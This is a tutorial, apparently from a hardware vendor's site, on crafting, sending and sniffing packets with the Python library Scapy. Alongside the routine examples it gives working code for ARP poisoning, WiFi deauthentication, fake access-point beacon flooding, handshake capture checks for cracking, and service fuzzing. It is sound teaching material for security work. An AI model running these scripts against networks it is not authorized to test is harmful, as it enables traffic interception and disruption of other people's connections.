Scapy for Packet Crafting
Table of Contents
Scapy lets you build any network packet from scratch, field by field, and send it on the wire. Where tools like nmap and Wireshark work with predefined packet structures, scapy gives you complete control. You define every header, every flag, every byte.
This makes it invaluable for protocol testing, security research, custom scanning, and understanding how network protocols actually work. If you can describe a packet, scapy can build and send it.
What Is Scapy?
Scapy is a Python library and interactive tool for packet manipulation. It can:
- Construct packets for any protocol (Ethernet, IP, TCP, UDP, ICMP, ARP, DNS, 802.11, and hundreds more)
- Send packets at layers 2 (Ethernet) and 3 (IP)
- Capture and decode packets from the network
- Read and write pcap files
- Match sent packets with their responses
- Build custom protocols with field definitions
Scapy replaces entire toolchains. A single scapy script can do what would otherwise require nmap, hping3, arpspoof, tcpdump, and Wireshark combined. The tradeoff is speed - scapy runs in Python, so it is not suitable for high-speed scanning (millions of packets per second). For precision work, it is unmatched.
Installation and Setup
pip install scapy
On Linux, you also need tcpdump or libpcap for packet capture. Most distributions include these by default.
Scapy has an interactive mode that works like a Python REPL with packet-aware features:
sudo scapy
Root privileges are required for sending raw packets and capturing traffic. In scripts, use sudo python3 script.py.
The interactive shell is excellent for experimentation. You can build a packet, inspect it, modify it, send it, and analyze the response - all interactively.
Understanding Packet Layers
graph TD
subgraph "Scapy Layer Stacking"
A["Ether\nMAC src/dst, type"] --> B["IP\nsrc/dst IP, TTL, proto"]
B --> C["TCP\nsrc/dst port, flags, seq"]
C --> D["Raw\nPayload data"]
end
subgraph "Layer 2 vs Layer 3 Sending"
E["sendp() / srp()\nLayer 2 - includes Ethernet"] --> F["Full control over\nMAC addresses"]
G["send() / sr()\nLayer 3 - IP and above"] --> H["OS handles\nEthernet framing"]
end
subgraph "Scapy Syntax"
I["Ether()"] -->|/| J["IP(dst='target')"]
J -->|/| K["TCP(dport=80)"]
K -->|/| L["Raw(b'data')"]
L --> M["Complete Packet"]
end
How scapy stacks protocol layers using the / operator to build complete packets
Scapy models packets as stacked layers, connected with the / operator. Each layer is a class with fields that correspond to protocol header fields.
from scapy.all import *
# A simple ICMP ping packet
packet = IP(dst="192.168.1.1") / ICMP()
# Inspect the packet
packet.show()
# See the raw bytes
hexdump(packet)
# Access fields
print(packet[IP].dst) # '192.168.1.1'
print(packet[IP].ttl) # 64 (default)
print(packet[ICMP].type) # 8 (echo request)
Fields you do not set are filled with sensible defaults. IP checksums are computed automatically. Source addresses default to your interface's IP. You only need to specify what you want to change from the default.
Listing available layers:
ls() # List all available protocols
ls(TCP) # Show fields for TCP layer
ls(IP) # Show fields for IP layer
lsc() # List available commands
Building Packets
ICMP ping:
ping = IP(dst="192.168.1.1") / ICMP()
TCP SYN:
syn = IP(dst="192.168.1.1") / TCP(dport=80, flags='S')
UDP DNS query:
dns_query = IP(dst="8.8.8.8") / UDP(dport=53) / DNS(
rd=1, qd=DNSQR(qname="example.com")
)
Multiple targets or ports (scapy generates all combinations):
# SYN to ports 80, 443, 8080 on a target
packets = IP(dst="192.168.1.1") / TCP(dport=[80, 443, 8080], flags='S')
# Ping sweep across a subnet
packets = IP(dst="192.168.1.0/24") / ICMP()
Setting specific fields:
packet = IP(
dst="192.168.1.1",
ttl=128,
id=12345
) / TCP(
dport=80,
sport=RandShort(), # Random source port
flags='S',
seq=RandInt(), # Random sequence number
options=[('MSS', 1460), ('NOP', None), ('WScale', 7)]
)
Sending and Receiving
Scapy has four main send/receive functions:
| Function | Layer | Send | Receive |
|---|---|---|---|
| send() | 3 (IP) | Yes | No |
| sendp() | 2 (Ethernet) | Yes | No |
| sr() | 3 (IP) | Yes | Yes (all responses) |
| sr1() | 3 (IP) | Yes | Yes (first response) |
| srp() | 2 (Ethernet) | Yes | Yes (all responses) |
| srp1() | 2 (Ethernet) | Yes | Yes (first response) |
Send without waiting for response:
send(IP(dst="192.168.1.1") / ICMP()) # Layer 3
sendp(Ether() / IP(dst="192.168.1.1") / ICMP()) # Layer 2
Send and wait for one response:
response = sr1(IP(dst="192.168.1.1") / ICMP(), timeout=2, verbose=0)
if response:
response.show()
Send and collect all responses:
answered, unanswered = sr(
IP(dst="192.168.1.1") / TCP(dport=[80, 443, 22], flags='S'),
timeout=2, verbose=0
)
for sent, received in answered:
if received[TCP].flags == 'SA': # SYN-ACK
print(f"Port {sent[TCP].dport} is open")
elif received[TCP].flags == 'RA': # RST-ACK
print(f"Port {sent[TCP].dport} is closed")
Sniffing Traffic
Scapy can capture packets with BPF (Berkeley Packet Filter) syntax:
# Sniff 10 packets
packets = sniff(count=10)
packets.summary()
# Sniff with a BPF filter
packets = sniff(filter="tcp port 80", count=20)
# Sniff on a specific interface
packets = sniff(iface="eth0", count=10)
# Sniff with a callback function
def packet_callback(pkt):
if pkt.haslayer(TCP):
print(f"{pkt[IP].src}:{pkt[TCP].sport} -> {pkt[IP].dst}:{pkt[TCP].dport}")
sniff(filter="tcp", prn=packet_callback, count=50)
Sniff and respond (IDS-like behavior):
def detect_syn_scan(pkt):
if pkt.haslayer(TCP) and pkt[TCP].flags == 'S':
print(f"SYN scan detected from {pkt[IP].src} to port {pkt[TCP].dport}")
sniff(filter="tcp", prn=detect_syn_scan)
The store=0 parameter prevents scapy from keeping packets in memory during long captures:
sniff(prn=packet_callback, store=0) # Process but do not store
ARP Operations
ARP scan (discover hosts on local network):
def arp_scan(subnet):
arp = ARP(pdst=subnet)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
answered, unanswered = srp(broadcast / arp, timeout=2, verbose=0)
devices = []
for sent, received in answered:
devices.append({
'ip': received.psrc,
'mac': received.hwsrc
})
return devices
for device in arp_scan("192.168.1.0/24"):
print(f"{device['ip']:16} {device['mac']}")
ARP poisoning (MITM positioning):
def arp_poison(target_ip, gateway_ip):
# Tell target that we are the gateway
target_mac = getmacbyip(target_ip)
packet = ARP(
op=2, # ARP reply
pdst=target_ip,
hwdst=target_mac,
psrc=gateway_ip
)
send(packet, verbose=0)
# Run continuously
import time
while True:
arp_poison("192.168.1.50", "192.168.1.1")
arp_poison("192.168.1.1", "192.168.1.50") # Both directions
time.sleep(2)
TCP Handshake
sequenceDiagram
participant C as Client (scapy)
participant S as Server
Note over C: Build SYN packet
C->>S: SYN (seq=1000, flags='S')
Note over S: Port open
S->>C: SYN-ACK (seq=5000, ack=1001, flags='SA')
Note over C: Extract seq/ack from response
C->>S: ACK (seq=1001, ack=5001, flags='A')
Note over C,S: Connection established
C->>S: PSH-ACK + HTTP GET (flags='PA')
S->>C: HTTP Response
C->>S: FIN-ACK (flags='FA')
S->>C: FIN-ACK (flags='FA')
C->>S: ACK (flags='A')
Complete TCP three-way handshake performed manually with scapy
You can perform a full TCP three-way handshake manually:
from scapy.all import *
target = "192.168.1.1"
port = 80
# Step 1: SYN
syn = IP(dst=target) / TCP(dport=port, flags='S', seq=1000)
synack = sr1(syn, timeout=5, verbose=0)
if synack and synack[TCP].flags == 'SA':
# Step 2: ACK
ack = IP(dst=target) / TCP(
dport=port,
flags='A',
seq=synack[TCP].ack,
ack=synack[TCP].seq + 1
)
send(ack, verbose=0)
print("TCP handshake complete")
# Step 3: Send data
payload = "GET / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target)
data_pkt = IP(dst=target) / TCP(
dport=port,
flags='PA',
seq=synack[TCP].ack,
ack=synack[TCP].seq + 1
) / Raw(load=payload)
response = sr1(data_pkt, timeout=5, verbose=0)
if response and response.haslayer(Raw):
print(response[Raw].load.decode('utf-8', errors='replace'))
Note: The OS kernel may send RST packets that interfere with scapy's handshake because the kernel does not know about the connection scapy is building. On Linux, you can drop these with iptables:
sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
Remember to remove this rule when done.
802.11 WiFi Frames
Scapy can build and send 802.11 wireless frames, but you need a wireless adapter in monitor mode. This is where devices like the BLEShark Nano capture handshakes, and tools on your computer do the deeper analysis.
Deauthentication frame:
# Requires monitor mode interface
from scapy.all import *
def deauth(target_mac, ap_mac, iface, count=10):
dot11 = Dot11(
addr1=target_mac, # Destination
addr2=ap_mac, # Source (AP)
addr3=ap_mac # BSSID
)
frame = RadioTap() / dot11 / Dot11Deauth(reason=7)
sendp(frame, iface=iface, count=count, inter=0.1, verbose=0)
Beacon frame (fake AP):
def fake_beacon(ssid, iface, mac=None):
if mac is None:
mac = RandMAC()
dot11 = Dot11(
type=0, subtype=8,
addr1="ff:ff:ff:ff:ff:ff",
addr2=mac,
addr3=mac
)
beacon = Dot11Beacon(cap='ESS+privacy')
essid = Dot11Elt(ID='SSID', info=ssid, len=len(ssid))
rates = Dot11Elt(ID='Rates', info=b'\x82\x84\x0b\x16')
dsset = Dot11Elt(ID='DSset', info=b'\x06') # Channel 6
frame = RadioTap() / dot11 / beacon / essid / rates / dsset
sendp(frame, iface=iface, inter=0.1, loop=1, verbose=0)
Working with PCAP Files
Scapy reads and writes standard pcap files:
# Read a pcap file
packets = rdpcap("capture.pcap")
print(f"Total packets: {len(packets)}")
# Filter and analyze
for pkt in packets:
if pkt.haslayer(TCP) and pkt[TCP].dport == 80:
if pkt.haslayer(Raw):
payload = pkt[Raw].load
if b'GET' in payload or b'POST' in payload:
print(f"HTTP request from {pkt[IP].src}")
print(payload.decode('utf-8', errors='replace')[:200])
# Write packets to a new pcap
filtered = [p for p in packets if p.haslayer(TCP)]
wrpcap("tcp_only.pcap", filtered)
# Append to existing pcap
wrpcap("capture.pcap", new_packets, append=True)
This is particularly useful for analyzing captures from the BLEShark Nano. You can load a handshake capture, verify it contains the necessary EAPOL frames, and extract specific information - all in Python.
def check_handshake(pcap_file):
packets = rdpcap(pcap_file)
eapol_count = 0
for pkt in packets:
if pkt.haslayer('EAPOL'):
eapol_count += 1
print(f"EAPOL frames found: {eapol_count}")
if eapol_count >= 4:
print("Complete handshake captured")
elif eapol_count >= 2:
print("Partial handshake - may be sufficient for cracking")
else:
print("Insufficient handshake data")
Advanced Techniques
Traceroute:
result, unans = traceroute(["example.com"], maxttl=20, verbose=0)
result.show()
OS fingerprinting (basic TTL-based):
def guess_os(target):
response = sr1(IP(dst=target) / ICMP(), timeout=2, verbose=0)
if response:
ttl = response[IP].ttl
if ttl <= 64:
return "Linux/macOS (TTL ~64)"
elif ttl <= 128:
return "Windows (TTL ~128)"
else:
return f"Unknown (TTL={ttl})"
return "No response"
Custom protocol definition:
class CustomProtocol(Packet):
name = "MyProtocol"
fields_desc = [
ByteField("version", 1),
ShortField("length", 0),
ByteEnumField("type", 0, {
0: "request",
1: "response",
2: "error"
}),
IntField("session_id", 0),
StrLenField("data", "", length_from=lambda pkt: pkt.length)
]
# Use it like any other layer
packet = IP(dst="target") / UDP(dport=9999) / CustomProtocol(
version=1, type=0, session_id=12345, data=b"hello"
)
Protocol fuzzing:
from scapy.all import fuzz
# Fuzz TCP fields with random values
fuzzed_packet = IP(dst="192.168.1.1") / fuzz(TCP(dport=80))
send(fuzzed_packet, verbose=0)
# Fuzz multiple packets
for i in range(100):
pkt = IP(dst="192.168.1.1") / fuzz(TCP(dport=80))
send(pkt, verbose=0)
The fuzz() function randomizes all fields that are not explicitly set. This is useful for finding edge cases in protocol implementations - unexpected flag combinations, unusual header lengths, or invalid field values that might crash poorly written services.
This article is for educational and authorized security testing purposes only. Only craft and send packets on networks you own or have explicit written permission to test.
Get the BLEShark Nano - $36.99+